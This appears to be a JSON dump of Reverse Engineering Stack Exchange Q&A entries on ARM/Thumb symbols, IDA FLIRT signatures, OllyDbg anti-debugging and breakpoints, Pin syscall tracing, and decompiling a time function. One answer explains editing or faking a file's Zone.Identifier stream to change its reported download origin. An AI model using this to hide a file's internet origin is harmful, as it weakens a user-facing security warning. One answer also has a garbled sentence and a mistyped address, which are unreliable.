!</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>In fact, I worked on an object file (compiled with <code>-c</code> option), so there is not so much symbols. But, here is a more detailed output obtained through <code>objdump</code>:</p>\n\n<pre><code>$&gt; objdump -x ./arm32_mov\n\n./arm32_mov:     file format elf32-littlearm\n./arm32_mov\narchitecture: armv4t, flags 0x00000010:\nHAS_SYMS\nstart address 0x00000000\nprivate flags = 5000000: [Version5 EABI]\n\nSections:\nIdx Name          Size      VMA       LMA       File off  Algn\n  0 .text         0000000c  00000000  00000000  00000034  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, CODE\n  1 .data         00000000  00000000  00000000  00000040  2**0\n                  CONTENTS, ALLOC, LOAD, DATA\n  2 .bss          00000000  00000000  00000000  00000040  2**0\n                  ALLOC\n  3 .ARM.attributes 00000016  00000000  00000000  00000040  2**0\n                  CONTENTS, READONLY\nSYMBOL TABLE:\n00000000 l    d  .text  00000000 .text\n00000000 l    d  .data  00000000 .data\n00000000 l    d  .bss   00000000 .bss\n00000000 l    d  .ARM.attributes    00000000 .ARM.attributes\n</code></pre>\n\n<p>And, here is the output of <code>readelf</code>:</p>\n\n<pre><code>$&gt; readelf -a ./arm32_mov\nELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              REL (Relocatable file)\n  Machine:                           ARM\n  Version:                           0x1\n  Entry point address:               0x0\n  Start of program headers:          0 (bytes into file)\n  Start of section headers:          148 (bytes into file)\n  Flags:                             0x5000000, Version5 EABI\n  Size of this header:               52 (bytes)\n  Size of program headers:           0 (bytes)\n  Number of program headers:         0\n  Size of section headers:           40 (bytes)\n  Number of section headers:         8\n  Section header string table index: 5\n\nSection Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .text             PROGBITS        00000000 000034 00000c 00  AX  0   0  4\n  [ 2] .data             PROGBITS        00000000 000040 000000 00  WA  0   0  1\n  [ 3] .bss              NOBITS          00000000 000040 000000 00  WA  0   0  1\n  [ 4] .ARM.attributes   ARM_ATTRIBUTES  00000000 000040 000016 00      0   0  1\n  [ 5] .shstrtab         STRTAB          00000000 000056 00003c 00      0   0  1\n  [ 6] .symtab           SYMTAB          00000000 0001d4 000070 10      7   7  4\n  [ 7] .strtab           STRTAB          00000000 000244 000007 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n\nThere are no section groups in this file.\nThere are no program headers in this file.\nThere are no relocations in this file.\nThere are no unwind sections in this file.\n\nSymbol table '.symtab' contains 7 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND \n     1: 00000000     0 SECTION LOCAL  DEFAULT    1 \n     2: 00000000     0 SECTION LOCAL  DEFAULT    2 \n     3: 00000000     0 SECTION LOCAL  DEFAULT    3 \n     4: 00000000     0 NOTYPE  LOCAL  DEFAULT    1 $a\n     5: 00000008     0 NOTYPE  LOCAL  DEFAULT    1 $t\n     6: 00000000     0 SECTION LOCAL  DEFAULT    4 \n\nNo version information found in this file.\nAttribute Section: aeabi\nFile Attributes\n  Tag_CPU_arch: v4T\n  Tag_ARM_ISA_use: Yes\n  Tag_THUMB_ISA_use: Thumb-1\n</code></pre>\n\n<p><strong>SOLUTION (Ian Cook)</strong></p>\n\n<pre><code>$ objdump --syms --special-syms ./arm32_mov\n\n./arm32_mov:     file format elf32-littlearm\n\nSYMBOL TABLE:\n00000000 l    d  .text  00000000 .text\n00000000 l    d  .data  00000000 .data\n00000000 l    d  .bss   00000000 .bss\n00000000 l       .text  00000000 $a   &lt;-- ARM code\n00000008 l       .text  00000000 $t   &lt;-- Thumb code\n00000000 l    d  .ARM.attributes    00000000 .ARM.attributes\n</code></pre>\n\n<p>Just to be sure, I interleaved arm code, thumb code and arm code again. Here is the dump:</p>\n\n<pre><code>$&gt; objdump --syms --special-syms ./arm32_mov\n\n./arm32_mov:     file format elf32-littlearm\n\nSYMBOL TABLE:\n00000000 l    d  .text  00000000 .text\n00000000 l    d  .data  00000000 .data\n00000000 l    d  .bss   00000000 .bss\n00000000 l       .text  00000000 $a\n00000008 l       .text  00000000 $t\n0000000c l       .text  00000000 $a\n00000000 l    d  .ARM.attributes    00000000 .ARM.attributes\n</code></pre>\n\n<p>You can see that the ARM symbol is present twice at <code>0x0</code> and <code>0xc</code> and are surrounding the thumb symbol.</p>\n",
        "Title": "How to detect thumb mode in ARM disassembly?",
        "Tags": "|disassembly|assembly|arm|",
        "Answer": "<p>When compiling C/C++ code, you can also detect the ARM/thumb status for a function by looking at the symbol table. The lowest bit of the address is set to 1 for Thumb and 0 for ARM instructions. To see this, you can use <code>readelf --symWhen using</code>objdump -t<code>and</code>readelf`, though.</p>\n\n<pre><code>$ readelf --syms foo.elf |grep strlen$\n  4460: 08000195    16 FUNC    GLOBAL DEFAULT    2 strlen\n$ objdump -t foo.elf |grep strlen$\n  08000194 g     F .text  00000010 strlen\n</code></pre>\n\n<p>Note that the actual address is 8000194 (32-bit aligned), but the symbol table entry (as shown by readelf) says 9000195 (with the LSB set to indicate thumb).</p>\n\n<p>This approach will only tell you the ARM/thumb status at the start of a function, to see any transitions inside a function you will still need to look at the <code>$t</code> and <code>$a</code> symbols as documented in other answers.</p>\n\n<p>The meaning of this LSB is defined in the <a href=\"http://infocenter.arm.com/help/topic/com.arm.doc.ihi0044e/IHI0044E_aaelf.pdf\" rel=\"nofollow noreferrer\">ARM ELF ABI</a>:</p>\n\n<blockquote>\n  <p>5.5.3 Symbol Values</p>\n  \n  <p>In addition to the normal rules for symbol values the following rules shall also apply to symbols of type STT_FUNC:</p>\n  \n  <ul>\n  <li>If the symbol addresses an Arm instruction, its value is the address of the instruction (in a relocatable object, the offset of the instruction from the start of the section containing it).</li>\n  <li>If the symbol addresses a Thumb instruction, its value is the address of the instruction with bit zero set (in a relocatable object, the section offset with bit zero set).</li>\n  <li>For the purposes of relocation the value used shall be the address of the instruction (st_value &amp; ~1).</li>\n  </ul>\n  \n  <p>Note: This allows a linker to distinguish Arm and Thumb code symbols without having to refer to the map. An Arm symbol will always have an even value, while a Thumb symbol will always have an odd value. However, a linker should strip the discriminating bit from the value before using it for relocation.</p>\n</blockquote>\n"
    },
    {
        "Id": "6089",
        "CreationDate": "2014-08-17T14:33:16.650",
        "Body": "<p>I'm trying to create a .sig file for sqlite3. I downloaded the source code from the website, compiled it into a .lib (smoothly), and this is what I get when I try to turn it into a .pat file:</p>\n\n<pre><code>plb.exe -v sqlite.lib\nsqlite.lib: invalid module at offset 143146. Skipping.\nsqlite.lib: invalid module at offset 2587742. Skipping.\nsqlite.lib: skipped 2, total 2\n</code></pre>\n\n<p>The resulting .pat file is empty and I cannot proceed to create the final file with sigmake.</p>\n\n<p>Google doesn't seem to indicate that anyone has ever had an \"invalid module at offset\" problem in the entire world, so I'm guessing this is pretty unique. I'm stuck. Help?</p>\n",
        "Title": "Unable to create FLIRT signature for IDA",
        "Tags": "|ida|flirt-signatures|",
        "Answer": "<p>plb.exe is designed for OMF libraries (primarily used for 16 bit Borland compilers). What you probably want is pcf.exe, which parses COFF libraries commonly used in 32 bit windows.</p>\n"
    },
    {
        "Id": "6096",
        "CreationDate": "2014-08-19T12:01:33.837",
        "Body": "<p>I'm disassembling an old (1996) game, that has been compiled with the Watcom 386 compiler. This compiler seems to aggressively reorder instructions to make better use of the processor pipeline, as seen in this chunk of assembly:</p>\n\n<p><img src=\"https://i.stack.imgur.com/RqNJ3.png\" alt=\"enter image description here\"></p>\n\n<p>The instructions marked with a red dot set up the parameters for the next call; the instructions with a blue dot finish the initialization of the object returned from the previous call. Rearranging them makes the assembly much easier to read:</p>\n\n<pre><code>...\ncall    ClassAlloc13680_0FAh\nmov     edx, [eax]\nmov     [edx+Class180F4.WidgetInputHandler], offset gblHandleTransportDestinationAndCheckForPassengersSpace\nmov     edx, [eax]\nmov     [edx+Class13680.Paint???], offset ClassVehicleManager__PaintForSomeWidget\nmov     dword_A4D88, eax\nmov     eax, [eax]\nmov     [eax+Class10B8C.MouseInputHandler], offset ClassVehicleManager__MouseInputHandler\n\npush    0\npush    2\npush    0\npush    4Eh\npush    5Bh\nmov     ebx, 5Ch\nmov     ecx, 21h\nmov     edx, ebp\nmov     eax, ebp\ncall    ClassAlloc13680_0FAh\npush    0\npush    2\n...\n</code></pre>\n\n<p>(Note that i moved the <code>mov reg, xxh</code> instructions even further down, because the compiler's calling convention is ax-dx-cx-bx-stack, so i can see the order of arguments here as well)</p>\n\n<p>Is there a way to accomplish this in IDA? I'm not asking for an algorithm to automatically determine which instructions should be \"red\" and which should be \"blue\", and i don't want to patch the original binary file, i'd just like to manually re-arrange instructions in the ida database.</p>\n\n<p>Or is there another way to improve readability of this kind of code in IDA?</p>\n",
        "Title": "Rearrange instructions in an ida database?",
        "Tags": "|ida|assembly|",
        "Answer": "<p>Several years ago i wrote <a href=\"http://nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/swapinsn.idc\" rel=\"nofollow\">swapinsn.idc</a> to do this for ARM code.  It will rotate a sequence of insns up or down, and fix any relative jumps in that range.</p>\n\n<p>Note that contrary to the comments in the script, i never actually added x86 support.</p>\n\n<p>For convenience i added hotkey functions <code>HK_ExchangeDown</code> and <code>HK_ExchangeUp</code> as defined in <a href=\"http://nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/hotkeys.idc\" rel=\"nofollow\">hotkeys.idc</a>.\nSo in can select a range of instructions, type shift-x to move the last selected insn up, and the rest down.</p>\n"
    },
    {
        "Id": "6097",
        "CreationDate": "2014-08-19T12:34:59.847",
        "Body": "<p>What is the usage of \"Stream:\" portion in View==>File==>Open File window? For some files it shows <pre>main<br>:Zone.Identifier:$DATA</pre>\nwhat's the meaning of this?</p>\n",
        "Title": "OllyDbg2: What is the meaning of Stream in File View Window?",
        "Tags": "|ollydbg|",
        "Answer": "<p>An NTFS file can have <a href=\"http://ntfs.com/ntfs-multiple.htm\" rel=\"nofollow\">multiple data streams</a>. $DATA is the name of the default stream.</p>\n\n<p>From <a href=\"http://en.wikipedia.org/wiki/Fork_%28file_system%29\" rel=\"nofollow\">Wikipedia</a>: Internet explorer, (and, according to the german wikipedia, newer versions of Firefox), use the Zone.Identifier stream to store information from where you downloaded the file. You might have seen the \"File Origin: downloaded from internet\" message in a UAC prompt. </p>\n\n<p>You can edit the Zone.Identifier data with notepad. For example, on one of your files that have this attribute, run <code>notepad myfile.exe:Zone.Identifier</code>. This should give you something like</p>\n\n<pre><code>[ZoneTransfer]\nZoneId=3\n</code></pre>\n\n<p>Change the 3 to a 0, then save from notepad. Next time you run the file as adminstrator, the \"Origin: Internet\" message will change to \"Origin: this computer's hard disk\".</p>\n\n<p>The answer to your question \"why is it absent on some other files\" is - only NTFS supports this. If you copy a file to a USB stick, SD card, or network storage, the file will lose its stream; when you copy it back, it doesn't magically gain the stream back. So only files that you downloaded via internet explorer (and possibly other browsers) on your NTFS hard disk will have it. Or, of course, files in which you created the stream yourself, like in <code>echo \"this is a fake\" &gt; myfile.exe:Zone.Identifier</code>.</p>\n\n<p>Of course, the only thing this has to do with reverse engineering is that Ollydbg is one of the few tools that tell you if a file as alternate data streams.</p>\n"
    },
    {
        "Id": "6104",
        "CreationDate": "2014-08-21T07:21:12.420",
        "Body": "<p>Being rather new to the concept of RE, I wanted to try and take a look at the assembly code in one DLL that I know exports some functions.</p>\n\n<p>First, I used this tool - <a href=\"http://www.nirsoft.net/utils/dll_export_viewer.html\" rel=\"nofollow\">http://www.nirsoft.net/utils/dll_export_viewer.html</a> - to obtain a list of exports within said DLL. These are some of the functions:</p>\n\n<pre><code>GI_Call 0x100590a7  0x000590a7  2 (0x2) mydll.dll   I:\\test\\mydll.dll   Exported Function   \nGI_CleanReturnStack 0x10058eae  0x00058eae  3 (0x3) mydll.dll  I:\\test\\mydll.dll    Exported Function   \nGI_Cmd_Argc 0x10058bd4  0x00058bd4  4 (0x4) mydll.dll   I:\\test\\mydll.dll   Exported Function   \nGI_Cmd_Argc_sv  0x10059593  0x00059593  5 (0x5) mydll.dll   I:\\test\\mydll.dll   Exported Function   \n</code></pre>\n\n<p>When I, however, load the DLL up in OllyDbg and browse to any of these addresses, I get instructions that don't really resemble a beginning of a function, for example GI_Call:</p>\n\n<pre><code>100590A7     10E9                ADC CL,CH\n100590A9     CE                  INTO\n100590AA     FC                  CLD\n100590AB     FFFF                ???                                                        ; Unknown command\n100590AD     FF75 10             PUSH DWORD PTR SS:[EBP+10]\n100590B0     8D45 FC             LEA EAX,DWORD PTR SS:[EBP-4]\n100590B3     50                  PUSH EAX\n100590B4     57                  PUSH EDI\n</code></pre>\n\n<p>What's even more puzzling is that once I scroll up/down, the code actually changes - there's no</p>\n\n<pre><code>100590A7     10E9                ADC CL,CH\n</code></pre>\n\n<p>anymore, it changes to a completely different instruction, also that address is gone.</p>\n\n<p>Am I doing something wrong? Or is the DLL possibly encrypted? Though if it is, how could DLL Export Viewer dump the exports so easily?</p>\n",
        "Title": "Viewing an exported DLL function in OllyDbg - garbage code",
        "Tags": "|disassembly|ollydbg|dll|functions|",
        "Answer": "<p>Your library might get loaded to a location that's completely different from the one it wants to be loaded at, i.e. the address in the header, due to <a href=\"http://en.wikipedia.org/wiki/Address_space_layout_randomization\" rel=\"nofollow\">ASLR</a>.</p>\n\n<p>Also, when loading a DLL, Ollydbg doesn't load the DLL directly; instead, it uses <code>loaddll.exe</code>. Which means, it starts the executable, but the breakpoint it sets is <em>before</em> <code>loaddll</code> has a chance to, well, load the DLL.</p>\n\n<p>Try the following:</p>\n\n<ul>\n<li>Set a breakpoint on <code>LoadLibraryA</code> : right click in CPU Window - Go To - Expression - <code>LoadLibraryA</code> - Press <kbd>F2</kbd>;</li>\n<li>Repeat the same with LoadLibraryW (the A version should be sufficient, just to make sure);</li>\n<li>Run the program;</li>\n<li>Once your breakpoint is it, press <kbd>CTRL</kbd>-<kbd>F9</kbd> (execute till return);</li>\n<li>If your DLL depends on others, you'll hit one of your breakpoints again; else you'll hit the breakpoint at the <code>RET</code> instruction. Don't worry, in either case, your DLL will be loaded;</li>\n<li>Use View->Memory or View->Executable Modules to learn where your DLL was actually loaded. This may be the same address that DLL Export Viewer shows you, but often, it will be different (address conflicts between two DLLs, in which case one has to be relocated, or ASLR, as above);</li>\n<li>Only if the addresses match: Right Click -> GoTo -> Expression -> <code>0x12345678</code> or whatever address you want to see;</li>\n<li>No matter if they match or not: Right Click -> GoTo -> Expression -> (Function name) will scroll to that function.</li>\n</ul>\n\n<p>The reason for your '<em>disappearing</em>' instruction is that it's the middle of another instruction. Consider this function start:</p>\n\n<pre><code>10001280 &gt; 53               PUSH EBX\n10001281   56               PUSH ESI\n10001282   57               PUSH EDI\n10001283   8B7C24 10        MOV EDI,DWORD PTR SS:[ESP+10]\n10001287   8BF1             MOV ESI,ECX\n10001289   3BF7             CMP ESI,EDI\n1000128B   0F94C3           SETE BL\n1000128E   84DB             TEST BL,BL\n10001290   75 32            JNZ SHORT 100012C4\n</code></pre>\n\n<p>The byte at <code>10001284</code>, <code>0x7c</code>, is part of the instruction at <code>1001283</code>. But if you disassemble from <code>10001284</code>,</p>\n\n<pre><code>10001284   7C 24            JL SHORT 100012AA\n10001286   108B F13BF70F    ADC BYTE PTR DS:[EBX+FF73BF1],CL\n1000128C   94               XCHG EAX,ESP\n1000128D   C3               RETN\n1000128E   84DB             TEST BL,BL\n10001290   75 32            JNZ SHORT 100012C4\n</code></pre>\n\n<p>The wrong bytes get interpreted as instructions. Once you scroll up a few rows, Ollydbg syncs correctly again - and shows the '<em>real</em>' instructions.</p>\n"
    },
    {
        "Id": "6124",
        "CreationDate": "2014-08-26T02:36:57.213",
        "Body": "<p>I am currently battling this protection on an 32-bit executable. </p>\n\n<p>At some point during it's runtime, the protection gets the address of <code>DbgUiRemoteBreakin</code> and writes a <code>JMP</code> to <code>ExitProcess</code> as an anti-attach technique. I decided to place a memory breakpoint on write(I also tried access) on that location figuring at the very least I'd find out what piece of code alters the code. Upon setting the breakpoint I hit <kbd>F9</kbd> only for my memory bp to never be triggered, I tried multiple times. The code was altered, but my memory bp was not triggered. This is the first time that a memory breakpoint was not triggered for me. I am puzzled as to why this has happened. My only guess is that <code>DbgUiRemoteBreakin</code> is located in <em>ntdll.dll</em> and that is why guard pages don't work there.\nThere were also instances where I had a crash when I set a memory bp on that function.</p>\n\n<p>However I am hoping somebody has encountered this and can explain more in depth. My ollydbg version is 1.10.</p>\n",
        "Title": "Why was my memory breakpoint not triggered in OllyDbg?",
        "Tags": "|ollydbg|pe|anti-debugging|protection|",
        "Answer": "<p>The most likely reason why your breakpoint didn't get hit is because the protected file removed it.</p>\n\n<p><strong>Edit</strong>: If the breakpoint was hardware-based, then the protected file can use <code>GetThreadContext()</code>, erase the DR entries, <code>SetThreadContext()</code>. If the breakpoint was page-protection-based, then the protected file can use <code>VirtualProtect()</code>.</p>\n"
    },
    {
        "Id": "6140",
        "CreationDate": "2014-08-29T21:08:24.193",
        "Body": "<p>In my OllyDbg v1.10, when I attempt to attach the debugger to a running process, Olly behaves as if it was successful, but the process is frozen (I'm unable to bring the window back up). I've tried switching to the main module, hitting F9 - still nothing, the process simply halts (\"Paused\" in Olly). I've found this issue described by a user on some forum, but it had remained unresolved as others had trouble reproducing it.</p>\n\n<p>I've tried this for MS Notepad, Calc, regedit and a propetriary 3rd party application, and the result is the same everywhere.</p>\n\n<p>This does not hold true for Olly 2.0 - that version behaves as expected, simply attaches to the process and lets me explore it.</p>\n\n<p>My OS is a 32-bit Windows 7 Ultimate.</p>\n",
        "Title": "OllyDbg 1.10 - attaching to running process suspends it indefinitely",
        "Tags": "|ollydbg|",
        "Answer": "<p>I know its late answer but for future users:\nTo solve this you need to go to threads window, and then</p>\n\n<p>right mouse button->resume all threads</p>\n"
    },
    {
        "Id": "6144",
        "CreationDate": "2014-08-31T15:36:32.630",
        "Body": "<p>I wrote this small pintool that tries to record the number of <code>int 0x80</code> instructions executed. I did this roughly as follows :-</p>\n\n<p><code>xed_iclass_enum_t iclass = static_cast&lt;xed_iclass_enum_t&gt;(INS_Opcode(ins));</code></p>\n\n<p>I then compare iclass against XED_ICLASS_INT and print out the EIP if found. I'm doing this on a statically compiled test binary that :-</p>\n\n<pre><code>1. Prints hello world\n2. Makes a call to mprotect\n</code></pre>\n\n<p>However, the number of <code>int 0x80</code> instructions encountered is just one. Is there something obvious I'm doing wrong? I tried using XED_ICLASS_SYSCALL too but that did not help.</p>\n",
        "Title": "Tracing int 0x80 instructions using PIN",
        "Tags": "|instrumentation|",
        "Answer": "<h1>PIN_AddSyscallEntryFunction</h1>\n\n<p>Why not just use <code>PIN_AddSyscallEntryFunction</code>?  This is an ABI-agnostic way of doing things, that lets you use <code>PIN_GetSyscallArgument</code> and related functions rather than manually inspecting the stack and register context.</p>\n\n<h1>INS_IsInterrupt</h1>\n\n<p>You could also use <code>INS_IsInterrupt</code> at instrumentation time to gather the information at analysis time.  Note that this won't catch any systemm calls made via the <code>syscall</code> or <code>sysenter</code> instructions.</p>\n\n<h1>Examples</h1>\n\n<p>As a simple example, if you look at the file <a href=\"https://github.com/JonathanSalwan/stuffz/blob/master/binary_analysis_with_ins_counts/inscount0.cpp#L48\" rel=\"nofollow\"><code>inscount0.cpp</code></a> that comes with Pin, if you add the following check, you'll only instrument syscalls.</p>\n\n<h3>INS_IsInterrupt</h3>\n\n<p>In <code>inscount0.cpp</code>, change the routines as shown below.  The module will now count the number of <code>int</code> instructions executed, rather than the total number of instructions executed.</p>\n\n<pre><code>VOID Instruction(INS ins, VOID *v)\n{\n    if(INS_IsSyscall(ins))\n    {\n        INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);\n    }\n}\n</code></pre>\n\n<p>Now all syscall instructions will be counted.  You can use the standard <code>INS_InsertCall</code> arguments to inspect the stack or register context.</p>\n\n<h3>PIN_AddSyscallEntryFunction</h3>\n\n<p>Add this function before <code>main</code></p>\n\n<pre><code>void OnSyscall(THREADID threadIndex, CONTEXT *ctxt, SYSCALL_STANDARD std, VOID *v)\n{\n    printf(\"Made syscall #%i\\n\", PIN_GetSyscallNumber(ctxt, std));\n}\n</code></pre>\n\n<p>and add this line to <code>main</code> before <code>PIN_StartProgram</code>.</p>\n\n<pre><code>PIN_AddSyscallEntryFunction(OnSyscall, 0);\n</code></pre>\n"
    },
    {
        "Id": "6146",
        "CreationDate": "2014-08-31T17:54:17.467",
        "Body": "<p>I have a statically compiled test binary compiled as :-</p>\n\n<pre><code>$ cat &gt; test.c\n #include&lt;stdio.h&gt;\nint main() {\nprintf(\"adsf\");\nmprotect(0x8048000, 0x100, 0x7);\n}\n$ gcc -o test test.c -static\n</code></pre>\n\n<p>I use the strace.so pintool and get the following output:-</p>\n\n<pre><code>0xb77c0419: 122(0xbfa1a72a, 0xb77c0000, 0x0, 0x0, 0x8049630, 0xbfa1a6ec)returns: 0x0\n0xb77c0419: 45(0x0, 0x840, 0x27, 0xd40, 0x28, 0xbfa1a868)returns: 0x9fda000\n0xb77c0419: 45(0x9fdad40, 0x840, 0x9fda000, 0x9fdad40, 0x28, 0xbfa1a868)returns: 0x9fdad40\n0x80493b9: 243(0xbfa1a8c0, 0x0, 0x4, 0x4, 0x28, 0x40)returns: 0x0\n0xb77c0419: 45(0x9ffbd40, 0x21000, 0x21000, 0x9ffbd40, 0x0, 0xbfa1a728)returns: 0x9ffbd40\n0xb77c0419: 45(0x9ffc000, 0x2c0, 0x21000, 0x9ffc000, 0x0, 0xbfa1a728)returns: 0x9ffc000\n0xb77c0419: 197(0x1, 0xbfa1a210, 0xbfa1a210, 0x2000, 0x2000, 0xbfa1a1b8)returns: 0x0\n0xb77c0419: 192(0x0, 0x1000, 0x3, 0x22, 0xffffffff, 0xbfa1a1cc)returns: 0xb60b6000\n0xb77c0419: 125(0x8048000, 0x100, 0x7, 0x0, 0x8049630, 0xbfa1a8d8)returns: 0x0\n0xb77c0419: 4(0x1, 0xb60b6000, 0x4, 0x80ef6a0, 0x4, 0xbfa1a778)returns: 0x4\n0xb77c0419: 252(0x0, 0x0, 0x80f0d04, 0x0, 0x80ef06c, 0xbfa1a8ac)#eof\n</code></pre>\n\n<p>We can see that the addresses shown at the left(the IP) have repeating values. Also they don't seem to be addresses in the text segment. I'd like to be able to view the addresses at which the system calls are made.</p>\n\n<p>Why does this happen? The code for the strace pintool can be found <a href=\"https://svn.mcs.anl.gov/repos/performance/Gwalp/gwalpsite/pin/source/tools/ManualExamples/strace.cpp\" rel=\"nofollow\">here</a>.</p>\n\n<p>[EDIT]\nChecking in gdb I understand that this happens because the call goes via a common \"int 0x80\" instruction. As a result, multiple system calls seem to be made from the same address. Hence, it seems like I'd have to read the 4 bytes from the top of the stack to find out which instruction is trying to make the system call. Are there any better ways to do this?</p>\n",
        "Title": "IPs shown by the strace.so pintool",
        "Tags": "|instrumentation|",
        "Answer": "<p>On modern Linux systems, a syscall stub (<code>vdso</code>) is used to invoke the actual syscall.  This is done so that the application binary does not need to know anything about the host CPU, and what mechanism is best or fastest for the CPU.</p>\n\n<p>This can be seen from within GDB or via <code>ldd</code>.</p>\n\n<pre><code>ldd /bin/bash\n    linux-vdso.so.1 =&gt;  (0x00007fff07fc3000)\n    libtinfo.so.5 =&gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f65e336e000)\n    libdl.so.2 =&gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f65e316a000)\n    libc.so.6 =&gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f65e2da3000)\n    /lib64/ld-linux-x86-64.so.2 (0x00007f65e35b6000)\n</code></pre>\n\n<p>You can easily dump out the instruction being executed with Pin via printing the return value of <code>INS_Disassemble</code>.  You should see that it's actually a <code>syscall</code> instruction or similar.</p>\n\n<p>Regarding the best mechanism for determining the source of a call to the VDSO, checking the top of the stack at a routine entry will give you its return address.  This will be a few bytes <em>after</em> the <code>call</code> instruction.  Additionally, you'd have to whitelist the explicit address which is in the <code>vdso</code>, as not all <code>int 0x80</code> instructions will be immediately after a call.</p>\n"
    },
    {
        "Id": "6156",
        "CreationDate": "2014-09-02T02:25:33.897",
        "Body": "<p>I have this dissassembled routine from an executable but I am having troubles to translate it to C#.</p>\n\n<pre><code>.text:005C9290 ; =============== S U B R O U T I N E =======================================\n.text:005C9290\n.text:005C9290 ; Attributes: bp-based frame\n.text:005C9290\n.text:005C9290 sub_5C9290      proc near               ; CODE XREF: .text:00574256p\n.text:005C9290                                         ; sub_5ACC50+68p ...\n.text:005C9290\n.text:005C9290 SystemTimeAsFileTime= _FILETIME ptr -8\n.text:005C9290 arg_0           = dword ptr  8\n.text:005C9290\n.text:005C9290                 push    ebp\n.text:005C9291                 mov     ebp, esp\n.text:005C9293                 push    ecx\n.text:005C9294                 push    ecx\n.text:005C9295                 lea     eax, [ebp+SystemTimeAsFileTime]\n.text:005C9298                 push    eax             ; lpSystemTimeAsFileTime\n.text:005C9299                 call    ds:GetSystemTimeAsFileTime\n.text:005C929F                 mov     eax, [ebp+SystemTimeAsFileTime.dwLowDateTime]\n.text:005C92A2                 mov     ecx, [ebp+SystemTimeAsFileTime.dwHighDateTime]\n.text:005C92A5                 push    0\n.text:005C92A7                 add     eax, 2AC18000h\n.text:005C92AC                 push    offset unk_989680\n.text:005C92B1                 adc     ecx, 0FE624E21h\n.text:005C92B7                 push    ecx\n.text:005C92B8                 push    eax\n.text:005C92B9                 call    sub_5D0500\n.text:005C92BE                 mov     ecx, [ebp+arg_0]\n.text:005C92C1                 test    ecx, ecx\n.text:005C92C3                 jz      short locret_5C92C7\n.text:005C92C5                 mov     [ecx], eax\n.text:005C92C7\n.text:005C92C7 locret_5C92C7:                          ; CODE XREF: sub_5C9290+33j\n.text:005C92C7                 leave\n.text:005C92C8                 retn\n.text:005C92C8 sub_5C9290      endp\n.text:005C92C8\n.text:005C92C9\n</code></pre>\n\n<p>However, I have this pseudo-code from this function generated by IDA Pro:</p>\n\n<pre><code>__int64 __cdecl sub_5C9290(int a1)\n{\n  __int64 result; // qax@1\n  unsigned __int64 v2; // ST00_8@1\n  struct _FILETIME SystemTimeAsFileTime; // [sp+0h] [bp-8h]@1\n\n  GetSystemTimeAsFileTime(&amp;SystemTimeAsFileTime);\n  HIDWORD(v2) = ((_DWORD)SystemTimeAsFileTime.dwLowDateTime &gt;= 0xD53E8000u)\n              + SystemTimeAsFileTime.dwHighDateTime\n              - 27111903;\n  LODWORD(v2) = SystemTimeAsFileTime.dwLowDateTime + 717324288;\n  result = sub_5D0500(v2, (unsigned int)&amp;unk_989680, 0);\n  if ( a1 )\n    *(_DWORD *)a1 = result;\n  return result;\n}\n</code></pre>\n\n<p>One problems is that code won't compile, this code doesn't make sense:</p>\n\n<pre><code>HIDWORD(v2) = ((_DWORD)SystemTimeAsFileTime.dwLowDateTime &gt;= 0xD53E8000u)\n              + SystemTimeAsFileTime.dwHighDateTime\n              - 27111903;\n</code></pre>\n\n<p>Also one problem is the <code>ADC</code> command which all I can find is that it is exactly as <code>ADD</code> but it also adds the <code>CARRY FLAG</code> to the result, but I can't find any ways to reproduce this command in C#.\nAnd what about all those <code>HIDWORD</code> and <code>LODWORD</code> macros?</p>\n",
        "Title": "Convert assembly ADC to C#",
        "Tags": "|ida|disassembly|c#|",
        "Answer": "<p>This is 64-bit math. The compiler has to do the addition in two steps because the processor can only work 32 bits at a time. And carry has to be propagated from the low addition to the high one - same way when you do addition of multiple-digit numbers on paper.</p>\n\n<p>Here's what the current version of the decompiler (1.7) produces (after fixing the function prototype):</p>\n\n<pre><code>result = sub5D0500(time - 116444736000000000i64, 10000000i64);\n</code></pre>\n\n<p>And (just a guess) if you rename <code>sub5D0500</code> to <code>__alldiv</code> (compiler helper function for 64-bit division), it becomes:</p>\n\n<pre><code>result = (time - 116444736000000000i64) / 10000000;\n</code></pre>\n\n<p>Apparently you're looking at MSVC's <code>_time64</code> implementation. From <code>time64.c</code>:</p>\n\n<pre><code>/*\n * Number of 100 nanosecond units from 1/1/1601 to 1/1/1970\n */\n#define EPOCH_BIAS  116444736000000000i64\n[...]\n__time64_t __cdecl _time64 (\n        __time64_t *timeptr\n        )\n{\n        __time64_t tim;\n        FT nt_time;\n        GetSystemTimeAsFileTime( &amp;(nt_time.ft_struct) );\n        tim = (__time64_t)((nt_time.ft_scalar - EPOCH_BIAS) / 10000000i64);\n        if (timeptr)\n                *timeptr = tim;         /* store time if requested */\n        return tim;\n}\n</code></pre>\n"
    },
    {
        "Id": "6160",
        "CreationDate": "2014-09-02T18:54:32.630",
        "Body": "<p>Is it possible to identify a protocol in a pcap file? I have a file which is a capture of data going between my phone and an IP camera, and I'd like to identify the protocol. I am using the app \"MEye\" to view the camera, which provides no hints of the protocol used.</p>\n\n<p>I have tried googling the headers in some of the packets, but to no avail.</p>\n\n<p>The pcap file can be found <a href=\"http://a.pomf.se/vdplhi.pcap\" rel=\"nofollow\">here</a>.</p>\n\n<p>Is it possible to identify the protocol at all?</p>\n",
        "Title": "Identifying protocol in a pcap file?",
        "Tags": "|sniffing|networking|protocol|packet|",
